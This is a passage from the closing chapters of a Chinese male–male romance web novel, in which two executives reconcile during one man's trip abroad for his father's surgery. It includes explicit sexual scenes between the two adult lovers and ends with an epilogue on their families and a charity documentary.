方霁一听他又要滔滔不绝讲些有的没的,忍无可忍伸出手捂住他的嘴,强行打断他的话,破罐破摔地吼道:“知道你是晋城爱因斯坦,是你搞的行了吧!” “这一次,还有上次、上上次,总之我身上这些都是你个王八蛋的杰作!” 这句话相当于承认了晚上会附身到内裤上的事。 方霁对上贺知行半是不解半是错愕的神情,确认他不会再扯科学道理后,慢慢松开了手。 “现在乐意了?”方霁警告地朝他飞出一记刀眼,“既然知道了我每晚会附身,今后就少拿着它做些乱七八糟的事,否则别怪我哪一天心情不好真给你削了。” 贺知行事先有了心理准备,此时接受力极强,冷静地问:“这事是从什么时候开始的你还记得吗?当时在做什么?” 方霁回忆了一下:“半年前吧,就杨氨那件事出来没多久,我有天晚上在沙发上睡着了,再睁开眼就发现自己到了另外一个陌生的地方,遇上你在——” 他说的一半猛然刹住了。 虽然两人都对会看到什么、经历什么心知肚明,但要是再摆到明面上来提起的话,尴尬程度简直不是一星半点了。 贺知行没再往下追问,觉得这件事必须要解决。 一个正常人若是每天晚上穿成别人的内裤,且不说另外一个人会不会被吓死,就是穿物者本人肯定饱受精神上的折磨。 更重要的是…… 方霁如今是穿成他的内裤,今后会不会升级,随机扩展到更多人身上去? 贺知行说不准。 半年过去,方霁倒是快适应了,替他记着不久前飞下去的东西。 “一会记得去将内裤认领回来。” 第76章 第 76 章 贺知行出差了。 准备来说不是为了工作而出的差, 而是出国探亲。 两人在温泉度假村待了一天,第二天中午就回归到原本的生活轨迹上。 没几天,贺知行接到了一通蓝书柳打来的电话。 电话的内容很家常, 无非是在关心他的近况, 通话中途还提到了方霁,问他最近还好吗。 贺知行听见母亲问起这个问题, 没有直接替方霁回答, 而是拿着手机从客厅进入卧室, 示意方霁。 一通电话猝不及防送到面前来,方霁懵了一会, 推脱不是,接也不是。 下午贺知行开车接他下班, 一起吃完晚饭, 到了贺知行家里。 方霁心想, 果然不该色迷心窍的。 还有长辈在那边等着, 方霁不敢怠慢, 只能硬着头皮接过手机,顶着一副略微沙哑的嗓子聊天。 蓝书柳听出他声音的不对, 问他是不是晚上空调开的太低吹感冒了, 言语间尽是心疼。 手机抵在耳边,方霁说“是”的同时没好气地瞪了贺知行一眼。 贺知行非常识趣, 这次没在他打电话的时候捣乱,而是在一旁给他按摩,帮助放松半个小时前痉挛不止的小腿。 方霁跟蓝书柳聊完, 一把将手机拍回到贺知行手上, 说自己困了要睡觉,今晚分房睡, 多少带着点个人怨气在里边。 于是贺知行拿着手机去了另外一间房,退出去前顺便给他将灯关上。 一月前,蓝书柳曾专门从国外飞过来看望儿子,聊起过关于贺鸿志的身体情况,这次没忍住又提了一嘴。 贺鸿志患上的疾病目前国内尚无根治的方法,就算到了国外,也只能做到为患者争取更长的生命周期。 每个月光是护理和医药费就是一笔不菲的开支。 贺知行跟贺鸿志的矛盾并非毫无根据的突然爆发,而是常年累月积压已久,在岁月的长河中一点点形成了如今对峙的局面,彼此暗自较着劲,谁也不肯先一步低头妥协。 七年前的一件事,不过是导火索而已。 贺知行承诺过会到国外医院看望贺鸿志,这事一直在他的日程安排上。后面发生方霁在S国遭遇车撞、绑架等一系列事情,陪着他处理时不得不将看望往后顺延了一些日子。 蓝书柳此次打来电话并没有催促他的意思,不管是丈夫还是儿子,在她心目中都是至关重要的两个人。 这通电话结束的两天后,贺知行飞往了国外。 当天是方霁去送的他,车上除了他们两人和一只行李箱外再没有其他。 “说起来,这车我差不多有一个月没开过了。”没想到这么久以来第一次开是送贺知行出国。 整个送机流程非常简单,没有过多言语,没有太多留恋,仿佛只是白天出门上班,晚上又会回来,毫无要出远门的离别气氛。 仅有一个在车内一触即分的吻。 “剩下的留着回来再亲。”- 贺知行乘坐的飞机落地,正值清晨,国内外存在较大的时差。 第一天,贺知行在医院附近订了酒店,掐算着国内这个点方霁应该已经睡下,便只在微信上给他编辑了一条报平安的内容发过去,随即打车到酒店,收拾好行李,去见蓝书柳和贺鸿志。 晚上方霁下班,两人简单通了一个语音电话,便各自去休息。 第二天,贺知行意外得知了一个夫妻两人共同隐瞒着他的事。 此前,有位多年致力于研究神经性疾病方面的专家,提出一套大胆的手术方案。若是手术顺利成功,能为患者延长最少三年的生存周期,但若是手术失败,最坏的结果可能无法走下手术台。 手术的成功率只有60%,蓝书柳听到后整宿整宿地睡不好觉,经常一个人坐着走神,偷偷抹眼泪。 这件事上,无论怎么抉择,都关系着丈夫的生命安全,她实在选不出。 贺鸿志自然觉察到了妻子的情绪,宽慰她人各有命,如今想过的日子都过了,他已经没有什么好遗憾的了。 活着的人却难以释怀。 经过多日考虑,贺鸿志最终决定尝试手术,去博那个几率渺茫的寿命,并在相关知情书上签署下自己的名字。 这事发生在半个月前,贺知行从始至终毫不知情,直到来了医院,才从蓝书柳口中得知,旋即转头看向坐在病床上的中年男人,眼中有一瞬间充满了茫然和错愕。 岁月的笔触抚过男人的两鬓,将原本乌黑的发丝悄悄替换成了霜雪般的银白。 即便是在病床之上,他的背脊仍旧像年轻时一样挺拔不屈,眉宇间的棱角分明,不经意间流露出那刻在骨子里的刚强与坚韧。 贺知行知晓的这天,手术所需的东西已经差不多准备齐全。他没有质问两人为什么要瞒着他,而是走到床边,冷静得不正常。 “手术的时间定在什么时候?” 父子两人有着极为相似的外貌与气质,就连面对难题的反应都如出一辙。 贺鸿志神色严肃,嘴唇紧抿成一条直线,道:“你不用专门飞这趟,来回浪费不少时间。” 贺知行道:“我说过,当初你要求的事情我已经兑现完成,剩下的人生和决定交予到我自己手中,包括这次。” 蓝书柳听见父子俩人针锋相对的交谈,不禁摇头,长叹了口气。 旁观者清,当局者迷。明明心底都装着对方,说出来的话却如此凉薄。 第三天,贺知行跟方霁通语音电话时 ,说了自己要在这边多待一段时间。 方霁正在阅览文件,闻言淡淡地哦了一声,状似无意地问他是什么原因。 贺知行不希望他在那边工作的同时还要忧心这边,便只说了是父亲要做手术,没有提起其中风险。 贺知行之前跟他说过叔叔的病,方霁听到他的回答,起初还以为是小手术,果真没有太过紧张,又聊了一会,提醒贺知行注意休息,便挂断了电话。 殊不知,这通电话一挂,接下来连着三天,贺知行都没再主动给他打过电话来。 方霁工作时,偶尔会盯着桌面上的手机纳闷。 贺知行不是时常把情爱挂在嘴边的人,比起这些,他更倾向于用实际行动来表达,比如每天接送方霁上下班、发消息提醒他别忘了按时吃饭、努力学习下厨、每次事后把床单和衣服洗了,从来不需要他一个劳累过度的人亲自动手等等。 方式是平常和老土了些,但方霁自我感觉很舒服,很适合他,不会有太多压力感和强迫感,也就吃醋的时候有些受不了。 第七天,下班回到家,从浴室洗完澡出来,方霁一手用毛巾擦拭着头发上的水迹,一手拿起充好电的手机。 依旧没有任何电话,连消息都没给他发一条。 是太辛苦了,所以没有时间打电话过来么? 确保头发不会再滴水的程度,方霁拿着手机到床边坐下,估计了一下贺知行那边的时间,这次主动给他打去语音。 大概经过一分钟,那边才接听。 “喂?”方霁率先开口,嗓音里带着一丝刚洗完澡的慵懒与平缓。 “嗯。”贺知行跟在后面回应,等着他继续往下说。 方霁其实没有什么好说的,既然贺知行这几天不主动给他打电话,就只好由他来确认一下这家伙的生命状况了。 现在看来还活着。 “吃过晚饭了吗?”贺知行没有等到他的下文,先抛出了话题。 方霁道:“吃了。” “吃的什么?”声音透过电话线跨越空间的阻隔,抵达耳畔时,听起来比平日更加性感。尤其手机贴着耳朵,使每一句话语都变得异常清晰,仿佛对方现下就站在身旁。 方霁摸了一下耳尖,将手机拿远点,道:“馄饨,就是上回带你去吃那家。” 那边又传来一声“嗯”。 方霁觉得他们的聊天内容挺无趣的,旁人都看不出他们竟然在谈恋爱。 要不是贺知行经常接送他上下班,好几次被公司的员工撞见,怕在众人眼里,他们依旧是那种彼此看不顺眼、恨不能掐死对方的竞争关系。 当然,现在传开的言论也没好到哪去,说他们是小说里的死对头文学照进现实。 方霁问道:“方便开视频吗?” 他有点想看那张脸,字面意思,不是想贺知行。 “可以。”贺知行那边传来一道短促的滴声,“等一下,我进房间。” 方霁说:“好。” 两人结束语言通话,重新发起了视频,一边是璀璨的夜晚,一边是明媚的白日。 阳光通过窗户洋洋洒洒地照进来,独具匠心的设计细节无声诉说着品质与格调。方霁一眼认出他身后的酒店环境,心中顿时明了他是刚从外面回来。 视频上的贺知行跟线下看起来差距细微,仅仅面部受到二维空间的压缩,显得不如肉眼看着立体。 方霁捕捉到贺知行眼中的红血丝,心尖像被蓦然揪了一下,问:“你最近很忙吗?” 贺鸿志前几天上了手术台,被再次推出来时,医生告知家属手术成功了一半,剩下一半取决于患者后续能否顺利苏醒。 若是一周内醒不过来,很有可能就此变为植物人。 这几天,贺知行一直守在床边陪蓝书柳等着贺鸿志醒来。因为始终放心不下,已经接连好几个小时没有合过眼,困了就到走廊的铁椅上简单眯一会,吹吹冷风驱散睡意。 直至今天上午,贺鸿志终于醒来,蓝书柳喜极而泣的同时注意到儿子的疲惫,催着他赶紧去休息一下,别累垮了身体,贺知行这才回了一趟酒店。 贺知行将这几天发生的事情跟方霁说了,其中隐去许多细节,对于辛苦只字不提。 两个人相处久了,贺知行了解方霁的说话方式,方霁又何尝不清楚他总是喜欢将某些事情轻描淡写。 可他却在与他相隔万里的另一块土地上,什么忙都帮不上。 “……你要先睡觉吗?” 不知道是因为接到了方霁的电话,还是人在累到极致的情况下会表现出与之相反的状态,贺知行现在并不太能睡得着。 “那……我哄你睡觉怎么样?”方霁略显别扭道,说这句话时摸了一下鼻子,遮挡住小半边脸。 贺知行晃了晃神,迟钝地注意到方霁洗完澡没多久,身上穿着件松垮的浴袍,腰间随意系着,一头短发只是用毛巾简单擦过,还湿哒哒的粘在一起。 “怎么哄?” 方霁让他别站着,到床上去,不然他就算使出浑身解数,哄睡效果都大打折扣。 贺知行听他的话照做,目光全部集中在屏幕中的那个人身上,正如喜欢上他的那天起,怎么都看不够。 方霁做了片刻的心理建设,道:“不许录视频,也不许截图。” 贺知行隐约猜到什么,答应道:“好。” 方霁自己也坐上了床,背靠床头,轻轻一扯,身上的浴袍就朝两边散开了。 当初留下的那些痕迹已经很淡了,变成浅浅的粉色,要是不细看,几乎看不出那里曾经是手指印亦或一圈牙印。 “你那天下嘴是真狠,要不是我天天抹药,现在指不定还青一块红一块的。”方霁埋怨完,冷不丁道:“回来记得给我盖上新的。” 贺知行听到最后一句,心跳陡然漏了半拍,紧接着就看到方霁迅速将手机拿远。 视频里,只能看到方霁头部以下的身体,他故意不连同脸一块拍进去。少顷,一对笔直白皙的长腿从中间朝两边分开,底下什么都没穿。 他们已经有很多天没有做过了,方霁的需求不如贺知行的强烈,贺知行出差后他没有自己解决过,今晚是头一回。 在遇到贺知行之前,他的身体不会这么敏感,现在却是只要看到贺知行那张脸,听到他声音,哪怕是再正常不过的神情和语气,他的脑海里也忍不住浮现两人缠绵的画面。 兴许这就是做多了导致的躯体后遗症。 方霁的手向下去,看着不远处那张冷峻又熟悉的脸,只是须臾,便全然有了感觉。 …… “嗯……”方霁不由得仰起脖子发出阵阵急促的喘息声,嘴里喊着贺知行的名字。 “贺知行……” 贺知行死死盯着另一头的人,那声名字一出口,眼底的红血丝明显更严重了。 他感觉方霁不是来哄自己睡觉的,而是上天派来折磨他的。 临近快感巅峰之际,方霁的双膝紧紧并拢在一起。直至结束,将手机随意地扔在了一旁,浑身蒙上了一层水雾,汗涔涔的,张着嘴大口呼吸,等待身体缓过那阵释放后的余韵。 屏幕上的画面变成了房间的天花板和吊灯,贺知行只能通过传来的声音判断方霁的状态,由粗重渐渐转为平稳。 恢复体力,方霁从床头柜上抽了几张纸巾,将手擦干净,又另外抽了一张擦掉手机屏幕上的,看到贺知行还没睡,笑道:“还不睡吗?” 贺知行坦然承认:“睡不着。” 方霁拉长尾音哦了一声,嘲弄道:“是睡不着,还是睡不着我?” 都是成年人,贺知行怎么可能听不出他的意思。除了眼睛一错不错地注视着方霁,贺知行的脸上看起来与平日上班一样冷静、沉稳。 “都有,你……”贺知行顿了顿,喉结艰难滚动道:“下面怎么样了?” 方霁莞尔:“想看?” 贺知行没吭声了。 方霁早就看穿他那点心思,人性本/淫,不足为奇。 “还行吧,反正已经不痛也不肿了。”方霁只是描述,没那么变态真拿着手机去拍那个地方给他看。 谁知下一秒,贺知行顶着张禁欲系的脸,用着最正经的语气道:“拍一下?” 方霁没什么脾气地骂了他一句“流/氓”,扯着唇角,一对深情的桃花眼里饱含戏谑。 “你究竟是单纯想确认,还是想看我继续做点别的什么?” 贺知行清楚自己肯定是睡不着了。 “不回答吗?” 方霁下定决心要贺知行亲口说出来,表情像只狡黠的狐狸,给出致命诱惑。 “告诉我你现在是怎么想的,我不仅给你拍想看的地方,还指/J给你看。” 方霁从来没试过自己动手用后面出来,要是贺知行想看的话,不是不行,反正他刚刚都在他面前打手枪了,前面还是后面对他来说并没有太大差别。 贺知行这回是真的眼睛都红了,哑着声道:“在想为什么你现在不在我身边,这样我就可以直接把你办了。” 能从贺知行口中听到这种荤话,属实难得。 方霁先臊了脸,复杂情绪交织在一起,形成一股难以名状的力量,令心跳不自觉加速。 他说到做到,调整了一个便于操作的姿势。 …… 空气中犹如弥漫着一种微妙而强烈的电流感,方霁说不出骚话。 …… 半晌,两人的呼吸不约而同地加重。 “方霁,露脸可以吗?”贺知行倏然开口,嗓音低沉而性感,带着某种诱惑:“我很想你。” 方霁就是因为他这句“想你”而鬼迷心窍的,咬着很红的唇,手机微微后仰些许,将自己布满情潮的脸一起录了进去,带着贺知行一同坠向欲海。 “贺知行,再用点力……” “好舒服,嗯……” 手指不断顶入,最后寻到了深处的敏感点,一个像栗子一样的小肉块。 …… 贺知行将方霁脱力的模样同样镌刻进脑海中,企图用肉眼记住这份荒唐的秘密。 两人的心意达到了共振。方霁将手机拿近了些,面上潮湿,嘴唇缓缓翕张。 “一个月期限到了。” “贺总,给个正式名分吧。” 【正文完】 第77章 第 77 章 贺知行在国外陪了父母一个月。贺鸿志的病情得到了很好的稳定, 在这段时间的精心照顾下,恢复良好,甚至连卧床数月的双腿都能下床走动。 尽管仍旧无法像正常人那样灵活自如, 但这事本就急不得, 能够在手术后顺利苏醒,一家人对此已经颇为感激。 贺知行订了一大早的机票, 回国这天是蓝书柳来酒店送他。 行李收拾完毕, 蓝书柳将一封信交给了他:“这个你拿着。” 贺知行接过, 看出里面装了东西,指腹在信面上一摸, 是钥匙。 两把。 蓝书柳解释道:“这是老宅的钥匙,另外一把是给小方的。” 自从贺鸿志患病, 夫妻两人为了方便治病, 移居至国外, 并在这边重新购置了房子, 国内那栋老宅则闲置了一年多。 “房子一直安排了人固定清理, 你们要是愿意,那里随时可作为你们的另一个家。” 蓝书柳清楚丈夫所剩下的时间不多了, 就算前阵子手术成功, 也不过延长短暂的几年光阴,她决定留在这里, 陪他一起走完这辈子的夫妻情意。 蓝书柳上前一步,张开手抱住了贺知行。 那双手,曾是记忆里最温柔的依靠, 如今却因岁月沧桑而略显瘦弱。 这两年她的笑容少了许多, 心思敏感许多,面对分离, 总是悲不自禁。 “工作别太辛苦了,记住,你的身后还有爸妈在,我们永远是你的避风港。” 少顷,贺知行深吸一口气,回应母亲的怀抱,哑声道:“谢谢妈,还有爸。” 蓝书柳眼眸泛红,泪水在眼眶打转,却强忍不让滑落,努力保持着微笑,道:“别忘了替我们俩人向小方问一声好。” 他们俩人? 贺知行闻言,神色微变,似有所猜,却依旧难以置信。 蓝书柳只是冲着他笑了笑,没有往下解释,提醒道:“车子已经到楼下了,快些上车吧,别耽误了去机场的时间。” 贺知行嗯了一声,让他们照顾好自己,有任何事情随时可以向他打电话,尤其是父亲的身体情况。 蓝书柳答应了他。 航班是直达的,飞机顺利落地晋城,夜幕低垂,都市的灯火如海洋般波澜壮阔。 贺知行从机场出来,利用手机软件叫了车,没有回那栋小别墅,报的一个小区名。 由于来这的次数多了,他成功在保安室大爷面前混了个眼熟,每次进出都会直接放他通行。 这次也不例外,老爷子的目光透着一丝好奇,开玩笑地说:“小伙子,又来看你的好友了吧?” 贺知行心想已经不是好朋友了,而是男朋友,但在外人面前,仍然保持适度的距离,点头承认了朋友这个关系,避免不必要的麻烦。 他驾轻就熟地找到目标楼栋,乘坐电梯上楼,摁下门铃。 几秒钟的等待,漫长得犹如过了一个世纪。 他有很多话想对方霁说,脑海里反复排练的话语,关于思念与煎熬。那些堆积如山的情绪,只想倾诉于唯一懂得倾听的心灵。 仿佛唯有在方霁面前,他才能真正卸下表面的所有冷静与坚强,露出心底那柔软且脆弱的一面。 终于,门缓缓打开。真正看到那张再熟悉不过的脸庞,他却什么都说不出来了,思念比理智先一步击溃他。 方霁没有约人过来,听见门铃声时,还以为是小区物业或者邻居找上门。他简单整理了一下自己略显潦草的面容,走过去开门。 对上贺知行那副风尘仆仆的模样,两颗久别重逢的心在一瞬间重叠。 时空恍若凝固,是谁率先打破沉默早已记不清,又或许他们彼此默契,同时拥上了对方。 门关上的刹那,两人急不可耐地在玄关处吻在了一起。 没有过多的寒暄,没有冗长的解释,所有的语言在此刻都显得苍白无力。他们的身体自然而然地贴近,双手相握,感受着对方真实的体温与心跳。 唇与唇相触,吻的很用力,双方都不得满足,仿佛要把积攒已久的思念尽数释放。 门外的世界似乎变得遥不可及,一切的疲倦与尘埃在这一刻皆被洗净,他们的眼中只有彼此,心中也只有彼此。 贺知行将人压在鞋柜前亲,木质的坚硬边缘摩擦着方霁的后腰,亲得久了,方霁就感觉不太舒服,估计现在已经红了。 “等、等一下……”方霁好不容易推开他,声音微微颤抖,夹杂着喘息:“去沙发或者床上,在这我腰硌得难受。” 贺知行稍微放开他一点,注意到是后面的鞋柜所致,却等不了。他的双手同时握上方霁的腰,强壮有力的臂膀轻易将他抱了起来。 突然失去地面支撑,方霁发出惊讶的呼声,下一秒便稳稳坐在了鞋柜的平坦表面。他的手上还搂着贺知行的脖子,原本仰望的角度也转换为俯视。 他反应过来,骂面前的人:“急色的变态。” 下班回来不久,方霁身上穿着一件白色薄衬衫,搭配精致裁剪的黑西装裤,透着成熟干练的气质。 为了方便干家务,他特意解开了腕部的纽扣,卷起衣袖至手肘,露出来的那截小臂上沾着些许未干的水珠。 “我刚在收拾厨房,身上全是汗,你要是介意的话就等我洗完澡再继续,反正人都在这,不差这一会。” 贺知行从来不向方霁掩饰自己的欲/望,两人在一起后更是如此,那双深邃的眼眸每每染上欲/色时,永远写着两个字——方霁。 贺知行重新吻了上来,如同暴风雨前的序章,狂烈而缠绵,手掌沿着方霁的衣服下摆摸进来,每一道布料缝隙间留下缱绻的痕迹。 “不介意。” 方霁抱紧他,衬衫被挤压得皱巴巴的,脚上的拖鞋掉了下去。亲得情烈之际,连同裤子都被剥了个干净,随意扔在地面。 男人带着满腔爱意将他填满,交汇处至心脏皆烫得厉害。 炽热的气息交融,温度攀升至极致,情感与肉/体的界限模糊,每一次碰撞都似电流贯穿全身,唤醒内心最深处的渴求。 良久,繁星点辍的夜幕下,一切归于平静。 方霁疲惫不堪,浑身酸软得像是一滩水,大脑沉浸在无垠的幸福之中,意识已近模糊,完全忘记了没收拾干净的厨房。 朦胧之间,他被细心地拥入怀中,由男人抱着送往浴室清洗干净,随后轻柔安置于床上。 方霁困得不行,只依稀记得昏睡前的最后一瞬,贺知行凑了过来,温柔的唇瓣贴上他的,给他盖好被子,呢喃细语在耳边响起—— “方霁,我爱你。”- 不久后,由万申集团、方天娱乐、知谦娱乐共同制作的公益纪录片正式上映,凭借着朴素、真实的拍摄手法和高质量内容,一经发布,迅速引起社会各界的广泛注意,一度霸榜各大平台的热搜。 更多人通过这部纪录片了解到贫困地区的不易和需求,开始自发性地组织物资募捐,千里迢迢运送至需要的人手中。 短短七天,这部名为《边缘之生》的纪录片,创下公益类纪录片有史以来的最高收视率。 杨氨的判决结果也在同一时期出来,终身监禁。 方霁成功追回杨氨当初私自挪用的资金,虽然只有一半,但加上纪录片最终的收益和这大半年的努力,已经足够让他将公司的窟窿填补完毕。相信要不了多久,方天就能恢复如初。 他在这方面始终有着绝对的自信。 从乌什湾村离开前,哈里克询问过方霁和贺知行两人是否可以留个联系方式,方霁想想没有坏处,便留下了自己的电话号码。 没想到对方竟然还记着他们,在纪录片上映的一个月后,方霁接到了来自哈里克的电话。 哈里克担心方霁听不懂他说的话,特意帮托了马青过来翻译,一家人围在马青身边,看着他在双方之间转化交流内容。 言语间的内容都是报喜,他们告诉方霁乌什湾村的环境条件得到了极大改善,不仅修缮了新的马路,安了路灯,还有专家抵达现场,根据地理位置和实际考量,帮助他们发展农业和畜牧业。 方霁听见这些,由衷地为他们感到高兴,晚上一起吃饭时,向贺知行分享了这个好消息。 随着纪录片的影响不断扩大,在年度评选上,无可争议地摘得了最高荣誉,就连导演殷海与主持人陈淼也荣获个人杰出贡献奖,一时间成为行业内外备受尊敬与瞩目的焦点人物。 颁奖过程全程直播,方霁今天正好不忙,为了表达祝贺应邀观众席的位置,坐在底下仔细聆听每个人的获奖发言,为他们鼓掌。 贺知行因为有一场会议的缘故,没能亲自到颁奖现场来,会议一结束,他就发了消息告知方霁,随后打开手机直播。 方霁坐在观众席的前排,其中一个镜头刚好将他拍进去。 不过毕竟不是本次直播的主角,给到的镜头并不多,只有在获奖人发言完毕时,才会短暂地切换到观众反应。 散场结束,方霁跟着人群一块往外走,等到了人少的空地,他才有时间将手机摸出来看一眼。 贺知行给他发了两条消息过来,一条是一个小时前,告诉他自己的会议结束了,另一条是十几分钟前,说已经到了会场外面等他。 方霁手持手机,指尖轻按,直接拨打出去,一边等着对面接通电话,一边沿着附近寻找。然而振铃还没结束,他就看到了贺知行。 他的对面还站着一人,身着一袭华美无比的白金色礼服,裙身镶嵌无数细小钻石,于光影交错间闪耀夺目,散发出温婉而又不失大气的韵味。 方霁认出那是片刻前站在台上领奖的陈淼,挂断电话,停下脚步,直至双方交谈完毕,才缓步朝那二人走去。 陈淼提着裙子转身,看到方霁,又停下来,笑着向他打招呼。 方霁同样报以微笑,与陈淼简单交流了几句,然后与贺知行一块离开。 陈淼回到会场的休息室,将身上繁重的礼服脱下来,换上自己舒服轻松的常服,随即翻出闺蜜的电话。 “喂?亲爱的,我失恋了。” 闺蜜先是一愣:“对面是谁?你之前跟我聊过的那个有点冷的男人?” 陈淼看向自己的鞋尖,坦然道:“嗯,准确来说也不算失恋,人家压根就没喜欢过我,我们也没在一起过。” 闺蜜觉得她现在说出来的话完全不像一个失恋的人该有的语气,笑得莫名瘆人和诡异,“不是,都这样了你还笑得出来?” “该不会是打击过大精神不正常了吧?” 陈淼捧腹笑得更厉害了:“因为我最喜欢的老板跟我暗恋的人在一起了,这么一想,我还能磕磕cp,总比哪天他们跟我讨厌的人在一起要强。” “嗯……是这么个道理。”但又总有种说不上来的奇怪,主要是大多数人发现暗恋失败后,都是难过,很少有像陈淼这样自我安慰的。 闺蜜试探性地问:“你就一点都不难过吗?” “难过啊,我已经很久没有这样喜欢过一个男生了。” 陈淼回答得很快:“但如果你要问我有多喜欢,好像也只是停留在欣赏的层面而已,没到非得发展成男女朋友关系的地步。” “说起来,我不是很怕黑嘛,上回在乌什湾村拍摄,我不敢一个人走夜路回去,还要多亏了贺总。他们都是很好的人,看到他们幸福我也很高兴。”- 为了维持现场秩序,避免交通堵塞,会场附近的停车位有限,哪个位置停哪辆车,几乎都是事先划分安排好的。 贺知行过来的时候已经没有空位,无法开进来,故而只能将车辆停在距离这里五百米的另一个停车场。 方霁倒是无所谓,多走段路的功夫,又不会断条腿。 路上,贺知行道:“陈淼问我晚上有没有时间一起吃个饭,想要感谢在乌什湾时的帮助。” 方霁知道他在说刚才的事,面上无甚波澜:“嗯,你怎么回答的?” 贺知行利用余光观察着方霁的脸色,将对陈淼说过的话重复了一遍:“家里爱人管的严,不想留他一个人吃饭。” “所以你现在说的这些,都是因为怕我误会?”方霁又好气又好笑,听出他是在主动向自己解释。 贺知行:“嗯。” 他想起了在乌什湾村时的一件事,某天晚上拍摄收工,他和陈淼借宿的房屋在同一个方向,于是答应了顺路护送她回去。 等再折返回哈里克的家,就遇上了方霁生气。 当时的他不明就里,直至今天再次见到陈淼,才幡然醒悟那天晚上方霁是看到了他们走在一起。 所以,他从那个时候开始就已经…… “我承认,那时候我心里确实有些不是滋味。”正如贺知行希望的那样,方霁也不想他们之间再有什么误会,坦诚道:“但绝对不是嫉妒你们站在一起,而是认为你们挺般配的。” 其实冷静下来后,他觉得贺知行那天做得没错,陈淼一个女孩子走夜路确实太危险了,贺知行不过恰好成为了那个绅士的人而已。 陈淼这姑娘性格单纯简单,方霁在社会上跟人打了这么多年交道,不难看出她对贺知行的心思,那是一种纯粹的、美好的喜欢。 那个时候,他还不知道贺知行的性取向,更不知道他喜欢自己,下意识以为贺知行会走上娶妻生子这条道路。 倘若今后找个人谈恋爱的话,十之八九会是陈淼这种类型的。 两人将误会说开,不知不觉间,走到了那辆黑色轿车停着的位置。 贺知行说给他准备了礼物,先打开了后备箱。 方霁起初还在寻思会是什么,连铺满整个后备箱的香水玫瑰都猜测过了,结果贺大总裁实际送的,是一盆缠着大红蝴蝶结的富贵竹。 “……”方霁的嘴角抽搐了两下:“你送我这个干嘛?” 贺知行说:“我问店员有没有什么可以养得久一点的送人,她最后推荐了这盆富贵竹。” 方霁怀疑肯定是他沟通的方式有问题。虽然对送的东西挺无语,但他喜欢富贵竹的寓意,可以养在公司的办公桌上。 他走过去,发现其中一截富贵竹上挂着一把做工精致的钥匙。 他将钥匙取下来打量,“这是什么的钥匙?” 贺知行说:“老宅的房子,爸妈送我们的。” 方霁愕然了几秒,回过头:“你父母……他们知道我俩的事了?” 跟贺知行在一起后,他不是没考虑过如何向贺知行的父母交代,毕竟夫妻两人就他一个独生子,尤其贺父还患有不治之症。 每每思及此,他就不由得生出一种强烈的罪恶感来,认为是自己诱拐贺知行走上了这条畸形的路。 “嗯,知道。” 方霁紧张道:“他们怎么说?以后传宗接代的问题如何解决?” 贺知行深知自己的父母并没有那么容易接受他跟方霁的事,但他同样对方霁承诺过,不会让这件事成为他的负担。 “他们已经同意我们在一起。” “至于孩子,如果你喜欢的话,我们可以共同领养,相反,你要是希望就我们两个人,也可以继续这样生活下去。” 方霁垂眸看向手心,倏然感到这把钥匙上所承载着的感情与信任沉甸甸的,好似一份重大的责任落在了他身上。 但他方霁是谁? 是开弓后永远不会回头的人。 他收下了钥匙。 贺知行替他打开车门,还惦记着刚刚的事,问:“为什么没有觉得我们站在一起更般配?” 方霁走到他身边,没急着坐进去,笑着嫌弃道:“行了啊你,自恋也得有个度,以为谁都跟你一样从多年前开始就是个弯的。” 他是在杨氨那一枪响起时认清的心意,在此之前,他始终坚信自己是个直男。 周围环境静谧,行人稀少,偶尔几辆车驶过。 方霁说完上一句,很快在他唇角落下一触即分的吻,像哄小孩似的哄道:“笑一笑,以后都跟你最般配,男朋友。” 两人上了车。 秋风渐紧,叶黄草枯,天气随着日子的推移逐渐凉下来。 随着引擎发动,道路在前方展开,比以往任何时候都要宽广。 这是他们相识的第十二年,此后余生,任凭四季更迭,情愫依旧热烈,驶向永恒。 (正文完)